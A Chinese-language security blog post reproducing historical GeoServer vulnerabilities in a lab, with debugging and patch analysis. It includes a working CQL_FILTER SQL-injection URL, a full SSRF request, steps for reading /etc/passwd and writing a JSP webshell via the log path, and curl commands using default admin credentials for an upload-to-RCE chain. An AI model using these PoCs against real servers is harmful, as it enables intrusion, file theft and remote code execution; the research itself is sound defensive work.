GeoServer的历史漏洞还是挺有意思的,像SQL、SSRF、文件上传这些历史漏洞都需要对功能有一定的研究,直接从代码侧挖掘难度较高因为调用链都比较深。所以这篇文章也从每个漏洞的官方通告入手,一步步通过功能分析,结合一定的关键代码,分析出POC。

前言

github上可以看到GeoServer安全问题列表,包含所有的历史漏洞:https://github.com/geoserver/geoserver/security

CVE编号漏洞类型
CVE-2023-25157SQL
CVE-2023-43795SSRF
CVE-2023-41877任意文件读取
CVE-2024-34696信息泄漏
CVE-2023-51444文件上传
CVE-2024-36401XPath RCE

关于CVE-2024-36401 XPath RCE的分析,可以看我之前的文章:https://blog.csdn.net/baidu_25299117/article/details/140159307?spm=1001.2014.3001.5502

环境准备

在官网上https://geoserver.org/download/找到合适的GeoServer版本下载,或直接输入版本https://geoserver.org/release/2.22.1。下载后进入bin目录执行sh startup.sh即可开启。如要复现CVE-2023-25157,需要安装PostgresSQL

docker pull postgres:14
docker run -e POSTGRES_PASSWORD=password -p 5432:5432  -d postgres:14
docker exec -it [CONTAINER ID] /bin/bash
apt-get update # 先更新,否则安不了扩展
postgres --version # 查看postgres版本,根据版本下载对应的扩展
apt install postgis postgresql-14-postgis-3-scripts
# 下面的步骤为了后面sql漏洞创建存储时使用。否则会报错ERROR: function postgis_lib_version() does not exist
psql -U postgres
CREATE EXTENSION postgis;
ALTER SYSTEM SET shared_preload_libraries = 'postgis';

调试。需要更改startup.sh,将最后一行加入调试语句。如果本地java版本是jdk8,把下面的*号去掉

exec "${_RUNJAVA}" ${JAVA_OPTS:--DNoJavaOpts -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:5005} "${MARLIN_ENABLER:--DMarlinDisabled}" "${RENDERER:--DDefaultrenderer}" "-Djetty.base=${GEOSERVER_HOME}" "-DGEOSERVER_DATA_DIR=${GEOSERVER_DATA_DIR}" -Djava.awt.headless=true -DSTOP.PORT=8079 -DSTOP.KEY=geoserver -jar "${GEOSERVER_HOME}/start.jar"

登录GeoServer的默认用户名密码admin/geoserver

PS:GeoServer可以通过脚本直接部署,如sh startup.sh。这种服务默认采用的是jetty服务器。另外,也可以下载war包,部署在tomcat下。由于tomcat和jetty的rce方式不同,需要区分GeoServer的部署方式进行攻击。tomcat进行rce攻击是上传jsp文件,而jetty无法解析jsp文件,需要上传xml到webapp目录下。

CVE-2023-25157

sql注入漏洞,官方通告:https://geoserver.org/vulnerability/2023/02/20/ogc-filter-injection.html

CVE-2023-25157漏洞描述

官方对这个漏洞称为GeoServer OGC Filter SQL Injection,并给出PropertyIsLike、FeatureId、DWithin过滤器和strEndsWith、strStartsWith、jsonArrayContains函数都受此漏洞影响。通告中还写道PostGIS DataStore with encode functions enabled,也就是利用需要与启用了编码功能的PostGIS DataStore一起使用。

在源码中找到这些过滤器和函数,发现很难直接定位到漏洞点。进而对这些过滤器的使用说明进行搜索,如PropertyIsLike。查看:https://docs.geoserver.org/2.22.x/en/user/styling/sld/reference/filters.html

文中提到这些Filter在功能上更类似SQL中的WHERE子句,用于筛选样式。

A filter is the mechanism in SLD for specifying conditions. They are similar in functionality to the SQL “WHERE” clause.

SLD(Styled Layer Descriptor)是一个用来描述地图层样式的XML规范,用户可以根据数据属性和条件来自定义地图样式。

过滤器

常见的定义地图样式的过滤条件是使用比较运算符空间运算符来指定的。

PropertyIsLike 就是一个比较运算符,具体内容如下。它将字符串属性值和文本模式进行匹配。简单来说,就是对属性值进行比较,所以也叫value comparison operators

PropertyIsLike定义

PropertyIsLike使用示例如下。假设要查找name中包含“Park”的要素。

<PropertyIsLike wildCard="*" singleChar="." escape="\">
  <PropertyName>name</PropertyName>
  <Literal>*Park*</Literal>
</PropertyIsLike>

<DWithin>则是一个空间运算符,假设要查找在指定点(经度100.0,纬度0.0)10公里范围内的要素。

<DWithin>
  <PropertyName>geom</PropertyName>
  <Point srsName="EPSG:4326">
    <coordinates>100.0,0.0</coordinates>
  </Point>
  <Distance units="kilometers">10</Distance>
</DWithin>

但是这些过滤器如何与PostGIS一起用呢?

PostGIS

查看官网:https://postgis.net/。PostGIS是在关系数据库PostgreSQL的基础上增加对地理空间数据存储、索引和查询等支持。那么它的语法基本可以参考PostgreSQL。

那么就需要研究一下GeoServer是怎么应用PostGIS的,查找官方文档:https://docs.geoserver.org/stable/en/user/gettingstarted/postgis-quickstart/index.html

简单来说,想要在GeoServer中创建一个PostGIS表,需要如下步骤
(1) 创建一个PostGIS数据库
(2) 为数据创建工作区Workspaces。工作区是用于将类似图层分组在一起的容器。设定工作区名为axisx
(3) 创建存储。创建存储时,矢量数据源选择PostGIS。填写数据源名称,如testdb

创建存储

(4) 创建图层。点击“添加新的资源”时,选择刚才创建的存储仓库。添加类型名称(如layerTest)和属性名称(如layer)。然后就可以在图层预览中看到图层名称。

创建新的要素类型->矢量图层

这里不禁有个疑问。PostGIS数据表和图层之间的关系是什么?PostGIS数据表存储矢量数据,示例如下。每行都是一个地理实体(如点、线、面)

idnametypegeom
1Highway 1HighwayLINESTRING(1 1, 2 2, 3 3)
2City Road ACity RoadLINESTRING(3 3, 4 4, 5 5)
3Country Road BCountry RoadLINESTRING(5 5, 6 6, 7 7)

图层是GeoServer用来发布地理数据的基本单元,每个图层对应一个数据源,即上面创建PostGIS表步骤三“创建存储”时选取的数据源(如矢量数据PostGIS、Shapefile、CSV等、栅格数据ArcGrid、ImageMosaic等)。GeoServer会读取数据源中的地理数据,并将其发布为可访问的地理图层。

那么有了这个PostGIS数据表,怎么执行sql查询数据呢?查找官方资料https://docs.geoserver.org/stable/en/user/data/database/sqlview.html

在新建图层时,提供一个配置新的sql视图选项,可以通过配置本地的sql语句来创建新的要素类型。测试如下。但是只有属性别名能够显示。也就无法进行sql攻击。

新建图层配置sql视图

那么回到PostGIS章节前的问题。PostGIS是怎么和过滤器一起用的?翻阅了很多文档,定位到CQL:https://docs.geoserver.org/latest/en/user/tutorials/cql/cql_tutorial.html
文章提到,GeoServer 支持在 WMS 和 WFS 请求以及 GeoServer 的 SLD中使用CQL,并且演示了如何用CQL_FILTER参数来更改WMS请求显示的数据。这就和前面关于过滤器的介绍对应上了。

CQL语法

CQL (Common Query Language,通用查询语言)。简单来说,CQL 主要用于对空间数据进行筛选和查询。它提供了一种基于字符串的、类似于 SQL 的语法,用于定义地理空间查询条件。对于空间数据来说,可以在图层中查询数据。图层名称为工作空间名:图层名

假如想要查询在特定点 5 公里范围内的道路,需要参数typeName(即图层名称)和CQL_FILTER(过滤语句),示例如下

http://localhost:8080/geoserver/wfs?service=WFS&version=2.0.0&request=GetFeature&typeName=yourworkspace:roads&CQL_FILTER=DWITHIN(geom, POINT(100.0 0.0), 5, kilometers)

漏洞复现

根据上面的CQL示例更改CQL_FILTER,POC如下。这里typeName的名称是图层名,filter中用到的属性则是创建图层时添加的属性。所以会发现不同环境下, 网上的POC是不通用的。

/geoserver/wfs?service=wfs&version=1.0.0&request=GetFeature&typeName=axisx:layerTest&CQL_FILTER=strStartsWith%28layer%2C%27x%27%27%29+%3D+true+and+1%3D%28SELECT+CAST+%28%28SELECT+version()%29+AS+integer%29%29+--+%27%29+%3D+true

漏洞复现
复现截图中可以看到成功通过报错执行了select version(),但是如果仔细看poc,会有个疑问,strStartsWith(layer,'x'')为什么这里的x引号双写。尤其这个x是在函数里。调试跟进看一下。

可以看到从Spring刚进入到GeoServer时对请求进行了处理,从request中获取operation。

Dispatcher

wfs一共有六个operations,如下,这里调用其中的GetFeature。然后在GetFeature中获取query参数。

0 = "GetCapabilities"
1 = "DescribeFeatureType"
2 = "GetFeature"
3 = "GetFeatureWithLock"
4 = "LockFeature"
5 = "Transaction"

此处query参数解析值如下。

[ strStartsWith([layer], [x') = true and 1=(SELECT CAST ((SELECT version()) AS integer)) -- ]) = true ]

可以发现strStartsWith(layer,'x'')变成了trStartsWith([layer], [x')。在 CQL 中,单引号用于界定字符串的边界。如果在字符串内部使用单引号,通常需要进行转义。未正确转义的单引号可能会被解析器视为字符串的结束边界。

继续调试会执行到JDBCDataStore.selectSQL(),该方法对sql语句进行拼接,Columns是图层创建时新增的属性值,TableName则是图层名。this.filter()方法对CQL_FILTER的值进行处理。

JDBCDataStore#selectSQL

this.filter()方法对CQL_FILTER处理的调用实际调用链大致为FilterToSQL.encode() -> PostgisFilterToSQL.visit() -> FilterToSqlHelper.visitFunction() 。最终定位如下。判断function类型,如果是strStartsWith。获取属性layer,先拼接成("layer" LIKE,然后在拼接' 属性值 %');。所以属性值传入x'则是为了闭合前面这个引号。然后用注释符--闭合掉%')

FilterToSqlHelper.visitFunction()

最终经过FilterToSQL编码处理后得到的sql语句如下

SELECT "fid","layer" FROM "layerTest" WHERE ("layer" LIKE 'x') = true and 1=(SELECT CAST ((SELECT version()) AS integer)) -- %') = true

PS:如果环境中没有安装postgres扩展,会报错ERROR: function postgis_lib_version() does not exist,测试就无法成功。其实从源头上讲,在环境搭建时也就无法创建PostGIS存储。所以这个漏洞利用的前提是,攻击具有PostGIS存储的GeoServer。

PS:这个sql的构造难度其实不低,因为需要了解函数和filter的用法,并且要满足语法。有兴趣的可以再构造一下官方漏洞通告中其他的filter和function。

关于补丁分析,直接看这篇吧:https://github.com/murataydemir/CVE-2023-25157-and-CVE-2023-25158

CVE-2023-43795

SSRF漏洞,官方通告:https://github.com/geoserver/geoserver/security/advisories/GHSA-5pr3-m5hm-9956

这个漏洞出在WPS扩展中。WPS(Web Processing Service,Web 处理服务)是一种用于发布地理空间流程、算法和计算的 OGC 服务。默认情况下,WPS 不是 GeoServer 的一部分,但可以作为扩展使用。所以首先要安装WPS扩展,否则服务中是没有WPS的。安装参考:https://www.osgeo.cn/geoserver-user-manual/services/wps/install.html

WPS扩展下载地址:https://sourceforge.net/projects/geoserver/files/GeoServer/2.22.1/extensions/geoserver-2.22.1-wps-plugin.zip/download。下载后的jar包都放入geoserver-2.22.1-bin/webapps/geoserver/WEB-INF/lib中。重启GeoServer服务。

再进入后台,发现服务中多了WPS
WPS服务

参考WPS发送请求的指导https://docs.geoserver.org/2.22.x/en/user/services/wps/requestbuilder.html。从后台首页中左侧导航栏找到demo(“演示”)。然后从“GeoServer的演示程序”选项中选择WPS Request Builder (“WPS请求构建器”),然后勾选如下的内容,url输入要访问的IP和端口,点击执行进程。

漏洞复现

但这是登录后的后台界面,如何在前台发送请求呢?点击上图页面中的“从进程的输入/输出生成XML”,内容如下。
生成的XML

复制该内容发包。成功收到请求。
漏洞复现

POC如下

POST /geoserver/wms HTTP/1.1
Host: 10.128.5.250:8080
Content-Length: 999
Accept: application/xml, text/xml, */*; q=0.01
Wicket-Ajax-BaseURL: wicket/bookmarkable/org.geoserver.wps.web.WPSRequestBuilder?15
X-Requested-With: XMLHttpRequest
Wicket-Ajax: true
Wicket-FocusedElementId: id44
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Content-Type: application/xml
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

<?xml version="1.0" encoding="UTF-8"?><wps:Execute version="1.0.0" service="WPS" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://www.opengis.net/wps/1.0.0" xmlns:wfs="http://www.opengis.net/wfs" xmlns:wps="http://www.opengis.net/wps/1.0.0" xmlns:ows="http://www.opengis.net/ows/1.1" xmlns:gml="http://www.opengis.net/gml" xmlns:ogc="http://www.opengis.net/ogc" xmlns:wcs="http://www.opengis.net/wcs/1.1.1" xmlns:xlink="http://www.w3.org/1999/xlink" xsi:schemaLocation="http://www.opengis.net/wps/1.0.0 http://schemas.opengis.net/wps/1.0.0/wpsAll.xsd">
  <ows:Identifier>JTS:area</ows:Identifier>
  <wps:DataInputs>
    <wps:Input>
      <ows:Identifier>geom</ows:Identifier>
      <wps:Reference mimeType="application/json" xlink:href="http://10.128.5.250:8000" method="GET"/>
    </wps:Input>
  </wps:DataInputs>
  <wps:ResponseForm>
    <wps:RawDataOutput>
      <ows:Identifier>result</ows:Identifier>
    </wps:RawDataOutput>
  </wps:ResponseForm>
</wps:Execute>

但是如果只是探测本机端口的漏洞,给不到9.8的评分。一般这种无回显且只能探测端口的,可能也就3-6分。那么一定存在进一步利用的方式来提高评分。例如,SSRF打Redis造成RCE,参考:https://www.synacktiv.com/advisories/unauthenticated-server-side-request-forgery-crlf-injection-in-geoserver-wms

CVE-2023-41877

任意文件读取漏洞,官方通告:https://github.com/geoserver/geoserver/security/advisories/GHSA-8g7v-vjrc-x4g5

This vulnerability requires GeoServer Administrator with access to the admin console to misconfigured the Global Settings for log file location to an arbitrary location.

大致的意思是在管理端界面有个“全局设置”功能,这个功能如果配置任意位置,可以读取文件,甚至造成RCE。

找到“全局设置”功能,日志位置默认为logs/geoserver.log,尝试将其改为/etc/passwd看是否能够读取文件
漏洞复现1-更改配置文件

接下来就需要找到读日志文件的地方。从左侧导航栏中找到"GeoServer的日志"功能。点击发现页面上回显的是/etc/passwd的内容了。

漏洞复现2-/etc/passwd读取成功

那么如何RCE呢?由于是日志问题,不禁联想起Spring4Shell等漏洞。**构造的关键就是定义日志名后缀为.jsp,并且能向日志中写入木马。**那如果将文件的位置定义为一个未知的jsp文件呢?成功生成了相应的jsp文件。

漏洞复现3-文件位置创建jsp文件

通过报错的方式写入木马。木马成功写入。
漏洞复现4-通过报错写入木马

这种RCE适用于tomcat部署场景,但本文GeoServer是sh startup.sh部署的,即Jetty服务器。但是jetty默认不支持jsp执行。需要找到其他利用方式。

CVE-2024-34696

信息泄漏漏洞,官方通告:https://github.com/geoserver/geoserver/security/advisories/GHSA-j59v-vgcr-hxvf

漏洞复现

其实这个漏洞没有什么技术性,但是需要对权限问题进行思考。API/geoserver/rest/about/status本身向任何具有管理权限的GeoServer用户开放。这个页面上能列出环境变量和系统信息。虽然这些信息中包含了本机安装的java、python等环境信息,主用户和GeoServer所在位置等系统信息,但是毕竟是需要GeoServer管理权限,感觉也算合理。

但是通告中提到,这些变量还可能包含:PostgreSQL数据库用户名密码(如果是用的GeoServer官方Docker,https://github.com/geoserver/docker/blob/master/README.md#how-to-enable-a-postgresql-jndi-resource)。

另外,官方还提到如下的内容。许多开源社区会将启动脚本的其他凭据作为环境变量添加到GeoServer的进程中。

Additionally, many community-developed GeoServer container images export other credentials from their start-up scripts as environment variables to the GeoServer (java) process, such as:

那么这个界面中就可能包含GeoServer的admin用户的密码、Tomcat管理应用的密码、HTTPS/TLS 证书密钥库密码、AWS S3 存储桶访问密钥等信息。换个角度理解,如果你的test用户包含管理权限,你登录test用户后,能在这个界面看到admin用户的密码,就很不合理了。

CVE-2023-51444

文件上传漏洞,漏洞通告:https://github.com/advisories/GHSA-9v5q-2gwq-q9hq

根据官网的poc进行测试,会发现——测不成。poc分了三步,如下。分别响应400、500、404。最后一步还会报错No such coverage store: sf,filewrite*

官网给的poc

那么还是先了解一下功能,看一下这个漏洞是哪个功能上出的问题,有了对功能的理解再去解决这些发包问题。根据第一步,创建数据源,进入如下界面。根据poc中的file.imagemosaic选择栅格数据源中的ImageMosaic
第一步创建数据源

在url连接参数的浏览时可以看到数据目录,符合poc第二步描述中的"data directory"。
第二步选择url连接参数

第二步选择数据目录

选择poc中的路径/data/sf/filewrite,点击保存的时候有如下报错。
模拟poc中的路径

搜索官方文档,https://docs.geoserver.org/maintain/en/user/data/raster/imagemosaic/tutorial.html#configuring-a-coverage-in-geoserver。可能的原因如下。

有效url的要求

也就是需要url目录下包含.dbf、.prj、.properties、.shp 或 .shx后缀文件。而这里用的url路径是poc复现时创建的,filewrite目录下并不存在这些文件,所以报错。

既然curl发包是发送的REST API,再看看相关文档:https://docs.geoserver.org/main/en/user/rest/imagemosaic.html

文档中提到GeoServer要求上传一个包含马赛克定义和颗粒文件的ZIP文件。但我根据poc构造时只对一个木马jsp进行了zip打包。

Upload a ZIP file containing a mosaic definition and granule(s)

从sf空间下找到已有的.tif文件(即组成马赛克的实际图像数据)、.properties配置文件。然后打包成zip。再次执行第一步的poc。这次没有报400,成功执行。
第一步

响应内容如下,可以和功能页面"添加栅格数据源"中的字段内容对应上。

<coverageStore>
  <name>filewrite</name>
  <type>ImageMosaic</type>
  <enabled>true</enabled>
  <workspace>
    <name>sf</name>
  </workspace>
  <__default>false</__default>
  <url>file:data/sf/filewrite</url>
</coverageStore>

再次执行poc第二步,还是报错500。查看服务器日志,报错XML解析错误。也就是-d后面的filef被当成了xml的一部分,而无法正确解析。因为xml需要以<开头。

com.thoughtworks.xstream.io.StreamException:Caused by: org.xmlpull.v1.XmlPullParserException: only whitespace content allowed before start tag and not f (position: START_DOCUMENT seen f... @1:2) 

看第二步的功能主要是GeoServer中创建或更新一个图层存储(Coverage Store),实际就是添加栅格数据源保存后的效果。那么这一步也就是需要将功能中需要填入的参数发包。将上面响应的xml进行发包,或用@的形式发送xml文件

直接发送xml数据包

curl -vXPUT -H"Content-Type:application/xml" -u"admin:geoserver" -d"<coverageStore>
  <name>filewrite</name>
  <type>ImageMosaic</type>
  <enabled>true</enabled>
  <workspace>
    <name>sf</name>
  </workspace>
  <__default>false</__default>
  <url>file:data/sf/filewrite</url>
</coverageStore>" http://10.128.5.250:8080/geoserver/rest/workspaces/sf/coveragestores/filewrite

发送上面xml内容的文件

curl -vXPUT -H"Content-Type:application/xml" -u"admin:geoserver" -d @/{绝对路径}/data_dir/data/sf/filewrite/coverageStore.xml http://10.128.5.250:8080/geoserver/rest/workspaces/sf/coveragestores/filewrite      

响应200,同时查看服务器日志显示[rest.catalog] - PUT coverage store sf,filewrite。成功创建了存储。

再次执行第三步,发现这回报错不是最初的No such coverage store: sf,filewrite*了,因为上一步这个coverage store设置成功了。

第三步

这回报错是路径中不能出现..。其实如果看poc的第二步,就会有个疑问,本身相对路径data/sf/filewrite是可以读到数据的,为什么poc中一定要换成绝对路径?刚才第二步发送的xml中file参数用的还是相对路径,把url参数改为绝对路径是不是第三步就能成功了呢?

再次用第二步发包,但将url改为绝路径,再进行第三步,复现成功。
漏洞复现

另外,如果是用tomcat起的服务,则这种上传jsp的方式已经RCE。但如果是sh startup.sh起的服务则默认是用的Jetty,jetty无法解析jsp,需要上传xml到webapp目录下实现rce。

jetty下实现rce

最后跟进代码看一下,为什么从相对路径换成绝对路径,能解决..的报错问题。定位到..报错日志的调用栈。调用了toPath方法对包含..的路径抛出异常。

报错位置

但是为什么绝对路径就不会抛出异常呢?两边都调试一下进行对比。关键点出现在下面这段代码。虽然无论相对路径还是绝对路径,directory的值都是绝对路径地址,但是所属的类不同,绝对路径解析用的Files类,相对路径用的FileSystemResourceStore类。这就导致这步在directory.get()时调用了不同的方法

绝对路径-RESTUtils.handleBinUpload()

相对路径调用的方法如下,其get方法拼接路径后会调用Paths.toPath()进行校验。
相对路径

绝对路径调用的方法如下,直接进行了拼接。

绝对路径

漏洞修复时在Files类中加入了校验函数valid()
https://github.com/geoserver/geoserver/commit/b5994fa08938d8c8d3d894fdaf889da2d4a97eeb

Logo

开放原子开发者工作坊旨在鼓励更多人参与开源活动,与志同道合的开发者们相互交流开发经验、分享开发心得、获取前沿技术趋势。工作坊有多种形式的开发者活动,如meetup、训练营等,主打技术交流,干货满满,真诚地邀请各位开发者共同参与!

更多推荐